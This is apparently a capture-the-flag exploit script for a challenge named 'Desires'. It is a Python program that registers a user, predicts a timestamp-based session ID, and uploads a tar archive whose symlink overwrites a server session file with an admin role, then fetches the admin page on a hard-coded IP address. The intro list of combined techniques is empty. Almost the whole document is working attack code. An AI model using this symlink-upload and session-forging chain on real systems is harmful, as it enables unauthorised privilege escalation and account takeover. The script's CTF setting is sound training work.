🧠 Desires Exploit Script

This script demonstrates a multi-step exploit chain combining:

It results in admin privilege escalation and flag retrieval on the Desires CTF challenge.

import time
import hashlib
import requests
import tarfile
import io
import json
import uuid
import sys

base_url = "http://94.237.53.203:43527"
s = requests.Session()

username = "user_" + uuid.uuid4().hex[:8]
password = "password"
register_data = {"username": username, "password": password}
print(f"[*] Registering user: {username}")
reg_resp = s.post(f"{base_url}/register", json=register_data)
if reg_resp.status_code != 200:
    print("[-] Registration failed"); sys.exit(1)

print("[*] Logging in post-registration...")
login_data = {"username": username, "password": password}
login_resp = s.post(f"{base_url}/login", data=login_data)
if login_resp.status_code != 200:
    print("[-] Login failed"); sys.exit(1)

session_cookie = s.cookies.get("session")
print(f"[+] Login successful, session: {session_cookie}")

target_timestamp = int(time.time()) + 3
session_id = hashlib.sha256(str(target_timestamp).encode()).hexdigest()
print("[*] Calculated session_id:", session_id)

archive_name = "malicious.tar"
payload_data = json.dumps({"username": username, "id": 3, "role": "admin"}, separators=(',', ':'))
try:
    with tarfile.open(archive_name, "w") as tar:
        symlink = tarfile.TarInfo("link")
        symlink.type = tarfile.SYMTYPE
        symlink.linkname = f"/tmp/sessions/{username}/{session_id}"
        tar.addfile(symlink)
        file_info = tarfile.TarInfo("link")
        file_info.size = len(payload_data)
        tar.addfile(file_info, io.BytesIO(payload_data.encode()))
except Exception as e:
    print("[-] Error creating TAR archive:", str(e))
    sys.exit(1)

print("[*] Uploading archive...")
with open(archive_name, "rb") as f:
    files = {"archive": (archive_name, f, "application/x-tar")}
    upload_resp = s.post(f"{base_url}/user/upload", files=files)
    print("[*] Upload response:", upload_resp.status_code)

delay = target_timestamp - int(time.time())
if delay > 0: time.sleep(delay)
print("[*] Attempting login with wrong password to trigger session ID")
s.post(f"{base_url}/login", data={"username": username, "password": ""})

s.cookies.set("session", session_id)
admin_page = s.get(f"{base_url}/user/admin")
print("[*] Admin panel status:", admin_page.status_code)
print(admin_page.text)